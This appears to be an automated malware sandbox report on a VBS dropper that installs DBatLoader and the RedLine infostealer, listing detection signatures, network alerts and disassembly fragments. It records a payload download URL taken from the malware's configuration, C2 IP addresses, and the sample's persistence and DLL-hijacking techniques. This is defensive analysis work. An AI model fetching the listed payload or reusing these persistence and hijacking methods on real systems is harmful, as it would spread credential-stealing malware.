1.2.x.exe.215607b8.8.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 FC 88 44 24 2B 88 44 24 2F B0 A9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
17.2.liuuazhU.pif.43d038.1.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x560e0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x390b0:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 FC 88 44 24 2B 88 44 24 2F B0 A9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x39730:$s3: 83 EC 38 53 B0 FC 88 44 24 2B 88 44 24 2F B0 A9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x57dba:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x57a00:$s5: delete[] 0x1de88:$s6: constructor or from DllMain. 0x56eb8:$s6: constructor or from DllMain.
1.2.x.exe.27d0000.2.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
Click to see the 189 entries

Sigma Signatures

System Summary

Sigma detected: DLL Search Order Hijackig Via Additional Space in Path

Source: File created

Author: frack113, Nasreddine Bencherchali: Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\x.exe, ProcessId: 6492, TargetFilename: C:\Windows \SysWOW64\NETUTILS.dll

Sigma detected: Execution from Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: C:\Users\Public\Libraries\liuuazhU.pif, CommandLine: C:\Users\Public\Libraries\liuuazhU.pif, CommandLine|base64offset|contains: , Image: C:\Users\Public\Libraries\liuuazhU.pif, NewProcessName: C:\Users\Public\Libraries\liuuazhU.pif, OriginalFileName: C:\Users\Public\Libraries\liuuazhU.pif, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\x.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\x.exe, ParentProcessId: 6492, ParentProcessName: x.exe, ProcessCommandLine: C:\Users\Public\Libraries\liuuazhU.pif, ProcessId: 1856, ProcessName: liuuazhU.pif

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\Public\Uhzauuil.url, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\x.exe, ProcessId: 6492, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Uhzauuil

Sigma detected: Suspicious Program Location with Network Connections

Source: Network Connection

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: DestinationIp: 193.122.6.168, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Users\Public\Libraries\liuuazhU.pif, Initiated: true, ProcessId: 1856, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49732

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\INQUIRY LIST 292.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\INQUIRY LIST 292.vbs", CommandLine|base64offset|contains: ,, Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\INQUIRY LIST 292.vbs", ProcessId: 7160, ProcessName: wscript.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\Public\Uhzauuil.url, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\x.exe, ProcessId: 6492, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Uhzauuil

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: C:\Users\Public\Libraries\liuuazhU.pif, CommandLine: C:\Users\Public\Libraries\liuuazhU.pif, CommandLine|base64offset|contains: , Image: C:\Users\Public\Libraries\liuuazhU.pif, NewProcessName: C:\Users\Public\Libraries\liuuazhU.pif, OriginalFileName: C:\Users\Public\Libraries\liuuazhU.pif, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\x.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\x.exe, ParentProcessId: 6492, ParentProcessName: x.exe, ProcessCommandLine: C:\Users\Public\Libraries\liuuazhU.pif, ProcessId: 1856, ProcessName: liuuazhU.pif

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\INQUIRY LIST 292.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\INQUIRY LIST 292.vbs", CommandLine|base64offset|contains: ,, Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\INQUIRY LIST 292.vbs", ProcessId: 7160, ProcessName: wscript.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-16T08:29:14.702006+0100	2028371	3	Unknown Traffic	192.168.2.4	49731	50.116.86.44	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-16T08:29:21.836380+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49732	193.122.6.168	80	TCP
2025-01-16T08:29:34.882496+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49740	193.122.6.168	80	TCP
2025-01-16T08:29:41.869304+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49742	193.122.6.168	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: INQUIRY LIST 292.vbs

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Avira: detection malicious, Label: HEUR/AGEN.1325914
Source: C:\Users\user\AppData\Local\Temp\x.exe	Avira: detection malicious, Label: HEUR/AGEN.1325914

Found malware configuration

Source: Uhzauuil.PIF.1.dr

Malware Configuration Extractor: DBatLoader {"Download Url": ["https://www.volareconsultoria.com.br/245_Uhzauuilkul"]}

Multi AV Scanner detection for dropped file

Source: C:\Users\Public\Libraries\Uhzauuil.PIF	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\x.exe	ReversingLabs: Detection: 42%
Source: C:\Windows \SysWOW64\NETUTILS.dll	ReversingLabs: Detection: 60%

Multi AV Scanner detection for submitted file

Source: INQUIRY LIST 292.vbs

ReversingLabs: Detection: 31%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Windows \SysWOW64\NETUTILS.dll

Joe Sandbox ML: detected

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\Public\Libraries\liuuazhU.pif	Unpacked PE file: 6.2.liuuazhU.pif.400000.1.unpack
Source: C:\Users\Public\Libraries\liuuazhU.pif	Unpacked PE file: 11.2.liuuazhU.pif.400000.2.unpack
Source: C:\Users\Public\Libraries\liuuazhU.pif	Unpacked PE file: 17.2.liuuazhU.pif.400000.0.unpack

Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.4:49733 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.4:49741 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.4:49743 version: TLS 1.0

Source: unknown

HTTPS traffic detected: 50.116.86.44:443 -> 192.168.2.4:49731 version: TLS 1.2

Source:	Binary string: E:\Adlice\Truesight\x64\Release\truesight.pdb source: x.exe, 00000001.00000003.1825875616.000000007F62F000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000003.1826188514.000000007F620000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000002.1875750599.00000000204B0000.00000004.00001000.00020000.00000000.sdmp, Uhzauuil.PIF, 0000000A.00000002.2001207488.000000002057D000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdb source: x.exe, 00000001.00000002.1875750599.00000000204B0000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000003.1825651514.000000007F650000.00000004.00001000.00020000.00000000.sdmp, Uhzauuil.PIF, 0000000A.00000002.2001207488.00000000204BF000.00000004.00001000.00020000.00000000.sdmp, svchost.pif.1.dr
Source:	Binary string: _.pdb source: liuuazhU.pif, 00000006.00000002.3110746880.000000001E421000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 00000006.00000003.1856725712.000000001B37A000.00000004.00000020.00020000.00000000.sdmp, liuuazhU.pif, 00000006.00000002.3108782055.000000001CFF6000.00000004.00000020.00020000.00000000.sdmp, liuuazhU.pif, 00000006.00000002.3109265688.000000001D3A0000.00000004.08000000.00040000.00000000.sdmp, liuuazhU.pif, 0000000B.00000002.3116343465.000000002A956000.00000004.00000020.00020000.00000000.sdmp, liuuazhU.pif, 0000000B.00000002.3118421537.000000002BD31000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 0000000B.00000002.3116443932.000000002AA80000.00000004.08000000.00040000.00000000.sdmp, liuuazhU.pif, 0000000B.00000003.1986218044.0000000028CFF000.00000004.00000020.00020000.00000000.sdmp, liuuazhU.pif, 00000011.00000002.3109591892.000000001C560000.00000004.08000000.00040000.00000000.sdmp, liuuazhU.pif, 00000011.00000002.3109192607.000000001C136000.00000004.00000020.00020000.00000000.sdmp, liuuazhU.pif, 00000011.00000002.3111207326.000000001D7F1000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 00000011.00000003.2056284697.000000001A55C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdbGCTL source: x.exe, 00000001.00000003.1848292254.0000000021462000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000001.00000003.1848292254.0000000021491000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000001.00000002.1875750599.00000000204B0000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000003.1825651514.000000007F650000.00000004.00001000.00020000.00000000.sdmp, Uhzauuil.PIF, 0000000A.00000002.2001207488.00000000204BF000.00000004.00001000.00020000.00000000.sdmp, svchost.pif.1.dr

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 1_2_027D5908 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,

1_2_027D5908

Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	6_2_1CFCDD90
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2018B807h	6_2_2018B3E0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2018EBACh	6_2_2018E810
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2018ABEDh	6_2_2018A850
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2018E02Ch	6_2_2018DC90
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2018A05Dh	6_2_20189CC0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2018D4ACh	6_2_2018D110
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2018B1B5h	6_2_2018AE18
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2018E5ECh	6_2_2018E250
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2018A625h	6_2_2018A288
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2018DA6Ch	6_2_2018D6D0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 20189A95h	6_2_201896F8
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2018BFDAh	6_2_2018BF30
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2018BFDAh	6_2_2018BF2A
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2018CEECh	6_2_2018CB50
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then mov dword ptr [ebp-1Ch], 00000000h	6_2_2019E7C0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2019EF95h	6_2_2019EBF0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 20D1E590h	6_2_20D1E388
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 20D1F084h	6_2_20D1E388
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 20D1633Ch	6_2_20D15FA0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 20D1747Ch	6_2_20D170E0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 20D1C084h	6_2_20D1BCE8
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 20D14C3Ch	6_2_20D148A0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 20D17FFCh	6_2_20D17C60
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	6_2_20D1E060
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 20D1CC04h	6_2_20D1C868
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 20D157BCh	6_2_20D15420
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 20D1A3C4h	6_2_20D1A028
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 20D15D7Ch	6_2_20D159E0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 20D1A984h	6_2_20D1A5E8
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 20D1913Ch	6_2_20D18DA0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 20D168FCh	6_2_20D16560
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 20D1B504h	6_2_20D1B168
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	6_2_20D1D698
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 20D17A3Ch	6_2_20D176A0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 20D1C644h	6_2_20D1C2A8
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	6_2_20D1DE60
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 20D151FCh	6_2_20D14E60
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 20D19E04h	6_2_20D19A68
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 20D185BCh	6_2_20D18220
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 20D1D1C4h	6_2_20D1CE28
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 20D18B7Ch	6_2_20D187E0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 20D1AF44h	6_2_20D1ABA8
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 20D19707h	6_2_20D19360
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 20D16EBCh	6_2_20D16B20
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 20D1BAC4h	6_2_20D1B728
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then mov esp, ebp	6_2_2101240B
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then mov ecx, dword ptr [ebp-38h]	6_2_211703C8
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then mov ecx, dword ptr [ebp-38h]	6_2_211703F8
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then mov ecx, dword ptr [ebp-38h]	6_2_21170400
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	11_2_2A6BDD90
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then mov dword ptr [ebp-1Ch], 00000000h	11_2_2D94E7C0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2D94EF95h	11_2_2D94EBF0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2E42B807h	11_2_2E42B3E0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2E42E5ECh	11_2_2E42E250
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2E42B1B5h	11_2_2E42AE18
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2E42DA6Ch	11_2_2E42D6D0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2E429A95h	11_2_2E4296F8
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2E42A625h	11_2_2E42A288
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2E42CEECh	11_2_2E42CB50
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2E42BFDAh	11_2_2E42BF2A
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2E42BFDAh	11_2_2E42BF30
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2E42ABEDh	11_2_2E42A850
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2E42EBACh	11_2_2E42E810
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2E42A05Dh	11_2_2E429CC0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2E42E02Ch	11_2_2E42DC90
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2E42D4ACh	11_2_2E42D110
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2E4CE590h	11_2_2E4CE388
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2E4CF084h	11_2_2E4CE388
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2E4C57BCh	11_2_2E4C5420
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2E4C9E04h	11_2_2E4C9A68
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2E4C51FCh	11_2_2E4C4E60
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2E4CD1C4h	11_2_2E4CCE28
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2E4C85BCh	11_2_2E4C8220
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	11_2_2E4CD698
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2E4CC644h	11_2_2E4CC2A8
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2E4C7A3Ch	11_2_2E4C76A0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2E4C9707h	11_2_2E4C9360
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2E4CBAC4h	11_2_2E4CB728
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2E4C6EBCh	11_2_2E4C6B20
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2E4C8B7Ch	11_2_2E4C87E0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2E4CAF44h	11_2_2E4CABA8
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2E4C633Ch	11_2_2E4C5FA0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2E4CCC04h	11_2_2E4CC868
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2E4C7FFCh	11_2_2E4C7C60
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2E4CA3C4h	11_2_2E4CA028
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2E4CC084h	11_2_2E4CBCE8
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2E4C747Ch	11_2_2E4C70E0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2E4C4C3Ch	11_2_2E4C48A0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2E4CB504h	11_2_2E4CB168
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2E4C68FCh	11_2_2E4C6560
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2E4CA984h	11_2_2E4CA5E8
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2E4C5D7Ch	11_2_2E4C59E0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 2E4C913Ch	11_2_2E4C8DA0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then mov esp, ebp	11_2_2E7C2400
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then mov ecx, dword ptr [ebp-38h]	11_2_2E820400
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then mov ecx, dword ptr [ebp-38h]	11_2_2E820388
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then mov ecx, dword ptr [ebp-38h]	11_2_2E8203F8
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	17_2_1C3CDD90
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 1F28B807h	17_2_1F28B3E0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 1F28BFDAh	17_2_1F28BF2B
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 1F28BFDAh	17_2_1F28BF30
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 1F28CEECh	17_2_1F28CB50
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 1F28B1B5h	17_2_1F28AE18
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 1F28E5ECh	17_2_1F28E250
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 1F28A625h	17_2_1F28A288
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 1F289A95h	17_2_1F2896F8
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 1F28DA6Ch	17_2_1F28D6D0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 1F28D4ACh	17_2_1F28D110
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 1F28EBACh	17_2_1F28E810
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 1F28ABEDh	17_2_1F28A850
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 1F28E02Ch	17_2_1F28DC90
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 1F28A05Dh	17_2_1F289CC0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 1F29EF95h	17_2_1F29EBF0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then mov dword ptr [ebp-1Ch], 00000000h	17_2_1F29E7C0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 1FE1E590h	17_2_1FE1E388
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 1FE1F084h	17_2_1FE1E388
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 1FE18B7Ch	17_2_1FE187E0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 1FE1633Ch	17_2_1FE15FA0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 1FE1AF44h	17_2_1FE1ABA8
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 1FE19707h	17_2_1FE19360
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 1FE16EBCh	17_2_1FE16B20
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 1FE1BAC4h	17_2_1FE1B728
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 1FE17A3Ch	17_2_1FE176A0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 1FE1C644h	17_2_1FE1C2A8
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 1FE151FCh	17_2_1FE14E60
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 1FE19E04h	17_2_1FE19A68
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 1FE185BCh	17_2_1FE18220
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 1FE1D1C4h	17_2_1FE1CE28
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 1FE15D7Ch	17_2_1FE159E0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 1FE1A984h	17_2_1FE1A5E8
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 1FE1913Ch	17_2_1FE18DA0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 1FE168FCh	17_2_1FE16560
